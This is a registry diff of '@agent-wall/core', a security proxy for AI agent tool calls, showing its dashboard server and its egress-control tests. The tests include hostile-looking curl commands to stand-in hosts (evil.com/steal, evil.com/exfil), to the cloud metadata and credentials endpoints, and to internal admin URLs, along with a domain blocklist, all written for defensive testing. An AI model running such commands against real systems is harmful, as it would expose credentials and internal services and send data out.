@agent-wall/core 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.turbo/turbo-build.log +17 -0
- package/.turbo/turbo-test.log +30 -0
- package/LICENSE +21 -0
- package/README.md +80 -0
- package/dist/index.d.ts +1297 -0
- package/dist/index.js +3067 -0
- package/dist/index.js.map +1 -0
- package/package.json +48 -0
- package/src/audit-logger-security.test.ts +225 -0
- package/src/audit-logger.test.ts +93 -0
- package/src/audit-logger.ts +458 -0
- package/src/chain-detector.test.ts +100 -0
- package/src/chain-detector.ts +269 -0
- package/src/dashboard-server.test.ts +362 -0
- package/src/dashboard-server.ts +454 -0
- package/src/egress-control.test.ts +177 -0
- package/src/egress-control.ts +274 -0
- package/src/index.ts +137 -0
- package/src/injection-detector.test.ts +207 -0
- package/src/injection-detector.ts +397 -0
- package/src/kill-switch.test.ts +119 -0
- package/src/kill-switch.ts +198 -0
- package/src/policy-engine-security.test.ts +227 -0
- package/src/policy-engine.test.ts +453 -0
- package/src/policy-engine.ts +414 -0
- package/src/policy-loader.test.ts +202 -0
- package/src/policy-loader.ts +485 -0
- package/src/proxy.ts +786 -0
- package/src/read-buffer-security.test.ts +59 -0
- package/src/read-buffer.test.ts +135 -0
- package/src/read-buffer.ts +126 -0
- package/src/response-scanner.test.ts +464 -0
- package/src/response-scanner.ts +587 -0
- package/src/types.test.ts +152 -0
- package/src/types.ts +146 -0
- package/tsconfig.json +8 -0
- package/tsup.config.ts +9 -0
- package/vitest.config.ts +12 -0
|
@@ -0,0 +1,454 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Agent Wall Dashboard Server
|
|
3
|
+
*
|
|
4
|
+
* HTTP + WebSocket server that bridges proxy events to a browser-based
|
|
5
|
+
* security dashboard. Serves the built React SPA and streams real-time
|
|
6
|
+
* events over WebSocket.
|
|
7
|
+
*
|
|
8
|
+
* Usage:
|
|
9
|
+
* const dashboard = new DashboardServer({ port: 61100, proxy, killSwitch });
|
|
10
|
+
* await dashboard.start();
|
|
11
|
+
*/
|
|
12
|
+
|
|
13
|
+
import * as http from "node:http";
|
|
14
|
+
import * as fs from "node:fs";
|
|
15
|
+
import * as path from "node:path";
|
|
16
|
+
import { WebSocketServer, type WebSocket } from "ws";
|
|
17
|
+
import type { StdioProxy } from "./proxy.js";
|
|
18
|
+
import type { KillSwitch } from "./kill-switch.js";
|
|
19
|
+
import type { PolicyEngine } from "./policy-engine.js";
|
|
20
|
+
import type { AuditLogger, AuditEntry } from "./audit-logger.js";
|
|
21
|
+
|
|
22
|
+
// ── WebSocket Message Types ────────────────────────────────────────
|
|
23
|
+
|
|
24
|
+
export type WsMessageType =
|
|
25
|
+
| "event"
|
|
26
|
+
| "stats"
|
|
27
|
+
| "audit"
|
|
28
|
+
| "killSwitch"
|
|
29
|
+
| "ruleHits"
|
|
30
|
+
| "config"
|
|
31
|
+
| "welcome";
|
|
32
|
+
|
|
33
|
+
export interface WsMessage<T = unknown> {
|
|
34
|
+
type: WsMessageType;
|
|
35
|
+
ts: string;
|
|
36
|
+
payload: T;
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
export interface ProxyEventPayload {
|
|
40
|
+
event: string;
|
|
41
|
+
tool: string;
|
|
42
|
+
detail: string;
|
|
43
|
+
severity: "info" | "warn" | "critical";
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
export interface StatsPayload {
|
|
47
|
+
forwarded: number;
|
|
48
|
+
denied: number;
|
|
49
|
+
prompted: number;
|
|
50
|
+
total: number;
|
|
51
|
+
scanned: number;
|
|
52
|
+
responseBlocked: number;
|
|
53
|
+
responseRedacted: number;
|
|
54
|
+
uptime: number;
|
|
55
|
+
killSwitchActive: boolean;
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
export interface RuleHitsPayload {
|
|
59
|
+
rules: Array<{
|
|
60
|
+
name: string;
|
|
61
|
+
action: string;
|
|
62
|
+
hits: number;
|
|
63
|
+
}>;
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
export interface ConfigPayload {
|
|
67
|
+
defaultAction: string;
|
|
68
|
+
ruleCount: number;
|
|
69
|
+
mode: string;
|
|
70
|
+
security: {
|
|
71
|
+
injection: boolean;
|
|
72
|
+
egress: boolean;
|
|
73
|
+
killSwitch: boolean;
|
|
74
|
+
chain: boolean;
|
|
75
|
+
signing: boolean;
|
|
76
|
+
};
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
// ── Client → Server Messages ───────────────────────────────────────
|
|
80
|
+
|
|
81
|
+
export type ClientWsMessage =
|
|
82
|
+
| { type: "toggleKillSwitch" }
|
|
83
|
+
| { type: "getStats" }
|
|
84
|
+
| { type: "getConfig" }
|
|
85
|
+
| { type: "getAuditLog"; limit?: number; filter?: string };
|
|
86
|
+
|
|
87
|
+
// ── MIME Types ──────────────────────────────────────────────────────
|
|
88
|
+
|
|
89
|
+
const MIME_TYPES: Record<string, string> = {
|
|
90
|
+
".html": "text/html; charset=utf-8",
|
|
91
|
+
".js": "application/javascript; charset=utf-8",
|
|
92
|
+
".css": "text/css; charset=utf-8",
|
|
93
|
+
".json": "application/json; charset=utf-8",
|
|
94
|
+
".svg": "image/svg+xml",
|
|
95
|
+
".png": "image/png",
|
|
96
|
+
".ico": "image/x-icon",
|
|
97
|
+
".woff": "font/woff",
|
|
98
|
+
".woff2": "font/woff2",
|
|
99
|
+
};
|
|
100
|
+
|
|
101
|
+
// ── Dashboard Server ───────────────────────────────────────────────
|
|
102
|
+
|
|
103
|
+
export interface DashboardServerOptions {
|
|
104
|
+
/** Port to listen on */
|
|
105
|
+
port: number;
|
|
106
|
+
/** The proxy instance to observe */
|
|
107
|
+
proxy: StdioProxy;
|
|
108
|
+
/** Kill switch instance (for toggle control) */
|
|
109
|
+
killSwitch?: KillSwitch;
|
|
110
|
+
/** Policy engine (for config summary) */
|
|
111
|
+
policyEngine?: PolicyEngine;
|
|
112
|
+
/** Audit logger (for log queries) */
|
|
113
|
+
logger?: AuditLogger;
|
|
114
|
+
/** Directory containing the built React SPA */
|
|
115
|
+
staticDir?: string;
|
|
116
|
+
/** Stats broadcast interval in ms (default: 2000) */
|
|
117
|
+
statsIntervalMs?: number;
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
export class DashboardServer {
|
|
121
|
+
private httpServer: http.Server | null = null;
|
|
122
|
+
private wss: WebSocketServer | null = null;
|
|
123
|
+
private statsTimer: ReturnType<typeof setInterval> | null = null;
|
|
124
|
+
private ruleHitCounts = new Map<string, { action: string; hits: number }>();
|
|
125
|
+
private startTime = Date.now();
|
|
126
|
+
private options: DashboardServerOptions;
|
|
127
|
+
|
|
128
|
+
constructor(options: DashboardServerOptions) {
|
|
129
|
+
this.options = options;
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
async start(): Promise<void> {
|
|
133
|
+
const { port, staticDir, statsIntervalMs = 2000 } = this.options;
|
|
134
|
+
|
|
135
|
+
// Create HTTP server for static files
|
|
136
|
+
this.httpServer = http.createServer((req, res) => {
|
|
137
|
+
this.handleHttpRequest(req, res, staticDir);
|
|
138
|
+
});
|
|
139
|
+
|
|
140
|
+
// Create WebSocket server on the same port
|
|
141
|
+
this.wss = new WebSocketServer({ server: this.httpServer });
|
|
142
|
+
this.wss.on("error", () => {
|
|
143
|
+
// Handled by httpServer error in start() promise
|
|
144
|
+
});
|
|
145
|
+
|
|
146
|
+
this.wss.on("connection", (ws) => {
|
|
147
|
+
// Send welcome message with current state
|
|
148
|
+
this.sendTo(ws, {
|
|
149
|
+
type: "welcome",
|
|
150
|
+
ts: new Date().toISOString(),
|
|
151
|
+
payload: { message: "Agent Wall Dashboard connected" },
|
|
152
|
+
});
|
|
153
|
+
|
|
154
|
+
// Send current stats immediately
|
|
155
|
+
this.sendStats(ws);
|
|
156
|
+
|
|
157
|
+
// Send current config
|
|
158
|
+
this.sendConfig(ws);
|
|
159
|
+
|
|
160
|
+
// Send current rule hits
|
|
161
|
+
this.sendRuleHits(ws);
|
|
162
|
+
|
|
163
|
+
// Handle incoming messages from dashboard
|
|
164
|
+
ws.on("message", (data) => {
|
|
165
|
+
try {
|
|
166
|
+
const msg: ClientWsMessage = JSON.parse(data.toString());
|
|
167
|
+
this.handleClientMessage(ws, msg);
|
|
168
|
+
} catch {
|
|
169
|
+
// Ignore malformed messages
|
|
170
|
+
}
|
|
171
|
+
});
|
|
172
|
+
});
|
|
173
|
+
|
|
174
|
+
// Wire proxy events
|
|
175
|
+
this.wireProxyEvents();
|
|
176
|
+
|
|
177
|
+
// Broadcast stats on interval
|
|
178
|
+
this.statsTimer = setInterval(() => {
|
|
179
|
+
this.broadcastStats();
|
|
180
|
+
}, statsIntervalMs);
|
|
181
|
+
|
|
182
|
+
// Start listening
|
|
183
|
+
return new Promise<void>((resolve, reject) => {
|
|
184
|
+
this.httpServer!.on("error", reject);
|
|
185
|
+
this.httpServer!.listen(port, () => resolve());
|
|
186
|
+
});
|
|
187
|
+
}
|
|
188
|
+
|
|
189
|
+
async stop(): Promise<void> {
|
|
190
|
+
if (this.statsTimer) {
|
|
191
|
+
clearInterval(this.statsTimer);
|
|
192
|
+
this.statsTimer = null;
|
|
193
|
+
}
|
|
194
|
+
|
|
195
|
+
// Close all WebSocket connections
|
|
196
|
+
if (this.wss) {
|
|
197
|
+
for (const ws of this.wss.clients) {
|
|
198
|
+
ws.close();
|
|
199
|
+
}
|
|
200
|
+
this.wss.close();
|
|
201
|
+
this.wss = null;
|
|
202
|
+
}
|
|
203
|
+
|
|
204
|
+
// Close HTTP server
|
|
205
|
+
if (this.httpServer) {
|
|
206
|
+
return new Promise<void>((resolve) => {
|
|
207
|
+
this.httpServer!.close(() => resolve());
|
|
208
|
+
this.httpServer = null;
|
|
209
|
+
});
|
|
210
|
+
}
|
|
211
|
+
}
|
|
212
|
+
|
|
213
|
+
/** Get the actual port (useful when port 0 is used for testing) */
|
|
214
|
+
getPort(): number {
|
|
215
|
+
const addr = this.httpServer?.address();
|
|
216
|
+
if (addr && typeof addr === "object") return addr.port;
|
|
217
|
+
return this.options.port;
|
|
218
|
+
}
|
|
219
|
+
|
|
220
|
+
// ── Event Wiring ──────────────────────────────────────────────────
|
|
221
|
+
|
|
222
|
+
private wireProxyEvents(): void {
|
|
223
|
+
const { proxy } = this.options;
|
|
224
|
+
|
|
225
|
+
const eventMap: Array<{
|
|
226
|
+
event: string;
|
|
227
|
+
severity: "info" | "warn" | "critical";
|
|
228
|
+
getArgs: (tool: string, detail?: string) => { tool: string; detail: string };
|
|
229
|
+
}> = [
|
|
230
|
+
{ event: "allowed", severity: "info", getArgs: (tool) => ({ tool, detail: "" }) },
|
|
231
|
+
{ event: "denied", severity: "warn", getArgs: (tool, msg = "") => ({ tool, detail: msg }) },
|
|
232
|
+
{ event: "prompted", severity: "info", getArgs: (tool, msg = "") => ({ tool, detail: msg }) },
|
|
233
|
+
{ event: "responseBlocked", severity: "warn", getArgs: (tool, findings = "") => ({ tool, detail: findings }) },
|
|
234
|
+
{ event: "responseRedacted", severity: "info", getArgs: (tool, findings = "") => ({ tool, detail: findings }) },
|
|
235
|
+
{ event: "injectionDetected", severity: "critical", getArgs: (tool, summary = "") => ({ tool, detail: summary }) },
|
|
236
|
+
{ event: "egressBlocked", severity: "critical", getArgs: (tool, summary = "") => ({ tool, detail: summary }) },
|
|
237
|
+
{ event: "killSwitchActive", severity: "critical", getArgs: (tool) => ({ tool, detail: "Kill switch is active — all calls denied" }) },
|
|
238
|
+
{ event: "chainDetected", severity: "warn", getArgs: (tool, summary = "") => ({ tool, detail: summary }) },
|
|
239
|
+
];
|
|
240
|
+
|
|
241
|
+
for (const { event, severity, getArgs } of eventMap) {
|
|
242
|
+
proxy.on(event, (tool: string, detail?: string) => {
|
|
243
|
+
const parsed = getArgs(tool, detail);
|
|
244
|
+
this.broadcast({
|
|
245
|
+
type: "event",
|
|
246
|
+
ts: new Date().toISOString(),
|
|
247
|
+
payload: { event, tool: parsed.tool, detail: parsed.detail, severity } as ProxyEventPayload,
|
|
248
|
+
});
|
|
249
|
+
});
|
|
250
|
+
}
|
|
251
|
+
}
|
|
252
|
+
|
|
253
|
+
/** Called by the audit logger's onEntry callback */
|
|
254
|
+
handleAuditEntry(entry: AuditEntry): void {
|
|
255
|
+
// Track rule hits
|
|
256
|
+
if (entry.verdict?.rule) {
|
|
257
|
+
const key = entry.verdict.rule;
|
|
258
|
+
const existing = this.ruleHitCounts.get(key);
|
|
259
|
+
if (existing) {
|
|
260
|
+
existing.hits++;
|
|
261
|
+
} else {
|
|
262
|
+
this.ruleHitCounts.set(key, {
|
|
263
|
+
action: entry.verdict.action,
|
|
264
|
+
hits: 1,
|
|
265
|
+
});
|
|
266
|
+
}
|
|
267
|
+
}
|
|
268
|
+
|
|
269
|
+
// Broadcast audit entry to all clients
|
|
270
|
+
this.broadcast({
|
|
271
|
+
type: "audit",
|
|
272
|
+
ts: new Date().toISOString(),
|
|
273
|
+
payload: entry,
|
|
274
|
+
});
|
|
275
|
+
|
|
276
|
+
// Broadcast updated rule hits after each change
|
|
277
|
+
if (entry.verdict?.rule) {
|
|
278
|
+
const rules = Array.from(this.ruleHitCounts.entries()).map(
|
|
279
|
+
([name, { action, hits }]) => ({ name, action, hits })
|
|
280
|
+
);
|
|
281
|
+
this.broadcast({
|
|
282
|
+
type: "ruleHits",
|
|
283
|
+
ts: new Date().toISOString(),
|
|
284
|
+
payload: { rules },
|
|
285
|
+
});
|
|
286
|
+
}
|
|
287
|
+
}
|
|
288
|
+
|
|
289
|
+
// ── Client Message Handling ────────────────────────────────────────
|
|
290
|
+
|
|
291
|
+
private handleClientMessage(ws: WebSocket, msg: ClientWsMessage): void {
|
|
292
|
+
switch (msg.type) {
|
|
293
|
+
case "toggleKillSwitch":
|
|
294
|
+
if (this.options.killSwitch) {
|
|
295
|
+
if (this.options.killSwitch.isActive()) {
|
|
296
|
+
this.options.killSwitch.deactivate();
|
|
297
|
+
} else {
|
|
298
|
+
this.options.killSwitch.activate();
|
|
299
|
+
}
|
|
300
|
+
// Broadcast new status
|
|
301
|
+
this.broadcast({
|
|
302
|
+
type: "killSwitch",
|
|
303
|
+
ts: new Date().toISOString(),
|
|
304
|
+
payload: { active: this.options.killSwitch.isActive() },
|
|
305
|
+
});
|
|
306
|
+
}
|
|
307
|
+
break;
|
|
308
|
+
|
|
309
|
+
case "getStats":
|
|
310
|
+
this.sendStats(ws);
|
|
311
|
+
break;
|
|
312
|
+
|
|
313
|
+
case "getConfig":
|
|
314
|
+
this.sendConfig(ws);
|
|
315
|
+
break;
|
|
316
|
+
|
|
317
|
+
case "getAuditLog": {
|
|
318
|
+
const entries = this.options.logger?.getEntries() ?? [];
|
|
319
|
+
let filtered = entries;
|
|
320
|
+
if (msg.filter && msg.filter !== "all") {
|
|
321
|
+
filtered = entries.filter((e) => e.verdict?.action === msg.filter);
|
|
322
|
+
}
|
|
323
|
+
const limited = msg.limit ? filtered.slice(-msg.limit) : filtered.slice(-100);
|
|
324
|
+
this.sendTo(ws, {
|
|
325
|
+
type: "audit",
|
|
326
|
+
ts: new Date().toISOString(),
|
|
327
|
+
payload: limited,
|
|
328
|
+
});
|
|
329
|
+
break;
|
|
330
|
+
}
|
|
331
|
+
}
|
|
332
|
+
}
|
|
333
|
+
|
|
334
|
+
// ── Broadcasting ──────────────────────────────────────────────────
|
|
335
|
+
|
|
336
|
+
private broadcast(msg: WsMessage): void {
|
|
337
|
+
if (!this.wss) return;
|
|
338
|
+
const data = JSON.stringify(msg);
|
|
339
|
+
for (const ws of this.wss.clients) {
|
|
340
|
+
if (ws.readyState === 1 /* OPEN */) {
|
|
341
|
+
ws.send(data);
|
|
342
|
+
}
|
|
343
|
+
}
|
|
344
|
+
}
|
|
345
|
+
|
|
346
|
+
private sendTo(ws: WebSocket, msg: WsMessage): void {
|
|
347
|
+
if (ws.readyState === 1) {
|
|
348
|
+
ws.send(JSON.stringify(msg));
|
|
349
|
+
}
|
|
350
|
+
}
|
|
351
|
+
|
|
352
|
+
private broadcastStats(): void {
|
|
353
|
+
if (!this.wss || this.wss.clients.size === 0) return;
|
|
354
|
+
const stats = this.buildStats();
|
|
355
|
+
this.broadcast({
|
|
356
|
+
type: "stats",
|
|
357
|
+
ts: new Date().toISOString(),
|
|
358
|
+
payload: stats,
|
|
359
|
+
});
|
|
360
|
+
}
|
|
361
|
+
|
|
362
|
+
private sendStats(ws: WebSocket): void {
|
|
363
|
+
this.sendTo(ws, {
|
|
364
|
+
type: "stats",
|
|
365
|
+
ts: new Date().toISOString(),
|
|
366
|
+
payload: this.buildStats(),
|
|
367
|
+
});
|
|
368
|
+
}
|
|
369
|
+
|
|
370
|
+
private buildStats(): StatsPayload {
|
|
371
|
+
const proxyStats = this.options.proxy.getStats();
|
|
372
|
+
return {
|
|
373
|
+
...proxyStats,
|
|
374
|
+
uptime: Math.floor((Date.now() - this.startTime) / 1000),
|
|
375
|
+
killSwitchActive: this.options.killSwitch?.isActive() ?? false,
|
|
376
|
+
};
|
|
377
|
+
}
|
|
378
|
+
|
|
379
|
+
private sendConfig(ws: WebSocket): void {
|
|
380
|
+
const pe = this.options.policyEngine;
|
|
381
|
+
const policyConfig = pe?.getConfig();
|
|
382
|
+
const config: ConfigPayload = {
|
|
383
|
+
defaultAction: policyConfig?.defaultAction ?? "prompt",
|
|
384
|
+
ruleCount: policyConfig?.rules?.length ?? 0,
|
|
385
|
+
mode: policyConfig?.mode ?? "standard",
|
|
386
|
+
security: {
|
|
387
|
+
injection: policyConfig?.security?.injectionDetection?.enabled ?? false,
|
|
388
|
+
egress: policyConfig?.security?.egressControl?.enabled ?? false,
|
|
389
|
+
killSwitch: !!this.options.killSwitch,
|
|
390
|
+
chain: policyConfig?.security?.chainDetection?.enabled ?? false,
|
|
391
|
+
signing: policyConfig?.security?.signing ?? false,
|
|
392
|
+
},
|
|
393
|
+
};
|
|
394
|
+
this.sendTo(ws, {
|
|
395
|
+
type: "config",
|
|
396
|
+
ts: new Date().toISOString(),
|
|
397
|
+
payload: config,
|
|
398
|
+
});
|
|
399
|
+
}
|
|
400
|
+
|
|
401
|
+
private sendRuleHits(ws: WebSocket): void {
|
|
402
|
+
const rules = Array.from(this.ruleHitCounts.entries()).map(
|
|
403
|
+
([name, { action, hits }]) => ({ name, action, hits })
|
|
404
|
+
);
|
|
405
|
+
this.sendTo(ws, {
|
|
406
|
+
type: "ruleHits",
|
|
407
|
+
ts: new Date().toISOString(),
|
|
408
|
+
payload: { rules } as RuleHitsPayload,
|
|
409
|
+
});
|
|
410
|
+
}
|
|
411
|
+
|
|
412
|
+
// ── Static File Serving ───────────────────────────────────────────
|
|
413
|
+
|
|
414
|
+
private handleHttpRequest(
|
|
415
|
+
req: http.IncomingMessage,
|
|
416
|
+
res: http.ServerResponse,
|
|
417
|
+
staticDir?: string
|
|
418
|
+
): void {
|
|
419
|
+
if (!staticDir) {
|
|
420
|
+
res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
|
|
421
|
+
res.end("<html><body><h1>Agent Wall Dashboard</h1><p>No static assets found. Build the dashboard package first.</p></body></html>");
|
|
422
|
+
return;
|
|
423
|
+
}
|
|
424
|
+
|
|
425
|
+
const url = req.url?.split("?")[0] ?? "/";
|
|
426
|
+
let filePath = path.join(staticDir, url === "/" ? "index.html" : url);
|
|
427
|
+
|
|
428
|
+
// Security: prevent path traversal
|
|
429
|
+
const resolved = path.resolve(filePath);
|
|
430
|
+
if (!resolved.startsWith(path.resolve(staticDir))) {
|
|
431
|
+
res.writeHead(403);
|
|
432
|
+
res.end("Forbidden");
|
|
433
|
+
return;
|
|
434
|
+
}
|
|
435
|
+
|
|
436
|
+
// Try to serve the file
|
|
437
|
+
try {
|
|
438
|
+
if (!fs.existsSync(resolved) || fs.statSync(resolved).isDirectory()) {
|
|
439
|
+
// SPA fallback: serve index.html for unknown routes
|
|
440
|
+
filePath = path.join(staticDir, "index.html");
|
|
441
|
+
}
|
|
442
|
+
|
|
443
|
+
const content = fs.readFileSync(filePath);
|
|
444
|
+
const ext = path.extname(filePath).toLowerCase();
|
|
445
|
+
const contentType = MIME_TYPES[ext] ?? "application/octet-stream";
|
|
446
|
+
|
|
447
|
+
res.writeHead(200, { "Content-Type": contentType });
|
|
448
|
+
res.end(content);
|
|
449
|
+
} catch {
|
|
450
|
+
res.writeHead(404);
|
|
451
|
+
res.end("Not Found");
|
|
452
|
+
}
|
|
453
|
+
}
|
|
454
|
+
}
|
|
@@ -0,0 +1,177 @@
|
|
|
1
|
+
import { describe, it, expect } from "vitest";
|
|
2
|
+
import { EgressControl } from "./egress-control.js";
|
|
3
|
+
|
|
4
|
+
describe("EgressControl", () => {
|
|
5
|
+
describe("private IP blocking", () => {
|
|
6
|
+
const egress = new EgressControl({ blockPrivateIPs: true });
|
|
7
|
+
|
|
8
|
+
it("should block 10.x.x.x (RFC1918)", () => {
|
|
9
|
+
const result = egress.check({
|
|
10
|
+
name: "bash",
|
|
11
|
+
arguments: { command: "curl http://10.0.0.1/admin" },
|
|
12
|
+
});
|
|
13
|
+
expect(result.allowed).toBe(false);
|
|
14
|
+
expect(result.blocked[0].reason).toContain("Private");
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
it("should block 172.16.x.x (RFC1918)", () => {
|
|
18
|
+
const result = egress.check({
|
|
19
|
+
name: "bash",
|
|
20
|
+
arguments: { command: "curl http://172.16.0.1:8080/api" },
|
|
21
|
+
});
|
|
22
|
+
expect(result.allowed).toBe(false);
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
it("should block 192.168.x.x (RFC1918)", () => {
|
|
26
|
+
const result = egress.check({
|
|
27
|
+
name: "bash",
|
|
28
|
+
arguments: { command: "curl http://192.168.1.1/config" },
|
|
29
|
+
});
|
|
30
|
+
expect(result.allowed).toBe(false);
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
it("should block 127.0.0.1 (loopback)", () => {
|
|
34
|
+
const result = egress.check({
|
|
35
|
+
name: "bash",
|
|
36
|
+
arguments: { command: "curl http://127.0.0.1:3000/secrets" },
|
|
37
|
+
});
|
|
38
|
+
expect(result.allowed).toBe(false);
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
it("should block localhost", () => {
|
|
42
|
+
const result = egress.check({
|
|
43
|
+
name: "bash",
|
|
44
|
+
arguments: { command: "curl http://localhost:8080/api" },
|
|
45
|
+
});
|
|
46
|
+
expect(result.allowed).toBe(false);
|
|
47
|
+
});
|
|
48
|
+
|
|
49
|
+
it("should block obfuscated hex IPs", () => {
|
|
50
|
+
const result = egress.check({
|
|
51
|
+
name: "bash",
|
|
52
|
+
arguments: { command: "curl http://0x7f000001/api" },
|
|
53
|
+
});
|
|
54
|
+
expect(result.allowed).toBe(false);
|
|
55
|
+
expect(result.blocked[0].reason).toContain("Obfuscated");
|
|
56
|
+
});
|
|
57
|
+
});
|
|
58
|
+
|
|
59
|
+
describe("cloud metadata blocking", () => {
|
|
60
|
+
const egress = new EgressControl({ blockMetadataEndpoints: true });
|
|
61
|
+
|
|
62
|
+
it("should block AWS metadata endpoint", () => {
|
|
63
|
+
const result = egress.check({
|
|
64
|
+
name: "bash",
|
|
65
|
+
arguments: { command: "curl http://169.254.169.254/latest/meta-data/" },
|
|
66
|
+
});
|
|
67
|
+
expect(result.allowed).toBe(false);
|
|
68
|
+
expect(result.blocked[0].reason).toContain("metadata");
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
it("should block link-local addresses", () => {
|
|
72
|
+
const result = egress.check({
|
|
73
|
+
name: "bash",
|
|
74
|
+
arguments: { command: "curl http://169.254.170.2/credentials" },
|
|
75
|
+
});
|
|
76
|
+
expect(result.allowed).toBe(false);
|
|
77
|
+
});
|
|
78
|
+
});
|
|
79
|
+
|
|
80
|
+
describe("allowlist mode", () => {
|
|
81
|
+
const egress = new EgressControl({
|
|
82
|
+
allowedDomains: ["github.com", "api.openai.com"],
|
|
83
|
+
});
|
|
84
|
+
|
|
85
|
+
it("should allow listed domains", () => {
|
|
86
|
+
const result = egress.check({
|
|
87
|
+
name: "bash",
|
|
88
|
+
arguments: { command: "curl https://github.com/user/repo" },
|
|
89
|
+
});
|
|
90
|
+
expect(result.allowed).toBe(true);
|
|
91
|
+
});
|
|
92
|
+
|
|
93
|
+
it("should allow subdomains of listed domains", () => {
|
|
94
|
+
const result = egress.check({
|
|
95
|
+
name: "bash",
|
|
96
|
+
arguments: { command: "curl https://raw.github.com/file" },
|
|
97
|
+
});
|
|
98
|
+
expect(result.allowed).toBe(true);
|
|
99
|
+
});
|
|
100
|
+
|
|
101
|
+
it("should block unlisted domains", () => {
|
|
102
|
+
const result = egress.check({
|
|
103
|
+
name: "bash",
|
|
104
|
+
arguments: { command: "curl https://evil.com/steal" },
|
|
105
|
+
});
|
|
106
|
+
expect(result.allowed).toBe(false);
|
|
107
|
+
expect(result.blocked[0].reason).toContain("not in the allowed");
|
|
108
|
+
});
|
|
109
|
+
});
|
|
110
|
+
|
|
111
|
+
describe("blocklist mode", () => {
|
|
112
|
+
const egress = new EgressControl({
|
|
113
|
+
blockedDomains: ["evil.com", "malware.org"],
|
|
114
|
+
});
|
|
115
|
+
|
|
116
|
+
it("should block listed domains", () => {
|
|
117
|
+
const result = egress.check({
|
|
118
|
+
name: "bash",
|
|
119
|
+
arguments: { command: "curl https://evil.com/exfil" },
|
|
120
|
+
});
|
|
121
|
+
expect(result.allowed).toBe(false);
|
|
122
|
+
});
|
|
123
|
+
|
|
124
|
+
it("should allow unlisted domains", () => {
|
|
125
|
+
const result = egress.check({
|
|
126
|
+
name: "bash",
|
|
127
|
+
arguments: { command: "curl https://github.com/api" },
|
|
128
|
+
});
|
|
129
|
+
expect(result.allowed).toBe(true);
|
|
130
|
+
});
|
|
131
|
+
});
|
|
132
|
+
|
|
133
|
+
describe("clean inputs", () => {
|
|
134
|
+
const egress = new EgressControl();
|
|
135
|
+
|
|
136
|
+
it("should pass arguments without URLs", () => {
|
|
137
|
+
const result = egress.check({
|
|
138
|
+
name: "read_file",
|
|
139
|
+
arguments: { path: "/home/user/file.txt" },
|
|
140
|
+
});
|
|
141
|
+
expect(result.allowed).toBe(true);
|
|
142
|
+
expect(result.urlsFound).toHaveLength(0);
|
|
143
|
+
});
|
|
144
|
+
|
|
145
|
+
it("should pass public URLs", () => {
|
|
146
|
+
const result = egress.check({
|
|
147
|
+
name: "bash",
|
|
148
|
+
arguments: { command: "curl https://api.github.com/repos" },
|
|
149
|
+
});
|
|
150
|
+
expect(result.allowed).toBe(true);
|
|
151
|
+
});
|
|
152
|
+
});
|
|
153
|
+
|
|
154
|
+
describe("excluded tools", () => {
|
|
155
|
+
it("should skip excluded tools", () => {
|
|
156
|
+
const egress = new EgressControl({
|
|
157
|
+
excludeTools: ["bash"],
|
|
158
|
+
});
|
|
159
|
+
const result = egress.check({
|
|
160
|
+
name: "bash",
|
|
161
|
+
arguments: { command: "curl http://10.0.0.1/admin" },
|
|
162
|
+
});
|
|
163
|
+
expect(result.allowed).toBe(true);
|
|
164
|
+
});
|
|
165
|
+
});
|
|
166
|
+
|
|
167
|
+
describe("disabled", () => {
|
|
168
|
+
it("should pass everything when disabled", () => {
|
|
169
|
+
const egress = new EgressControl({ enabled: false });
|
|
170
|
+
const result = egress.check({
|
|
171
|
+
name: "bash",
|
|
172
|
+
arguments: { command: "curl http://169.254.169.254/latest/meta-data/" },
|
|
173
|
+
});
|
|
174
|
+
expect(result.allowed).toBe(true);
|
|
175
|
+
});
|
|
176
|
+
});
|
|
177
|
+
});
|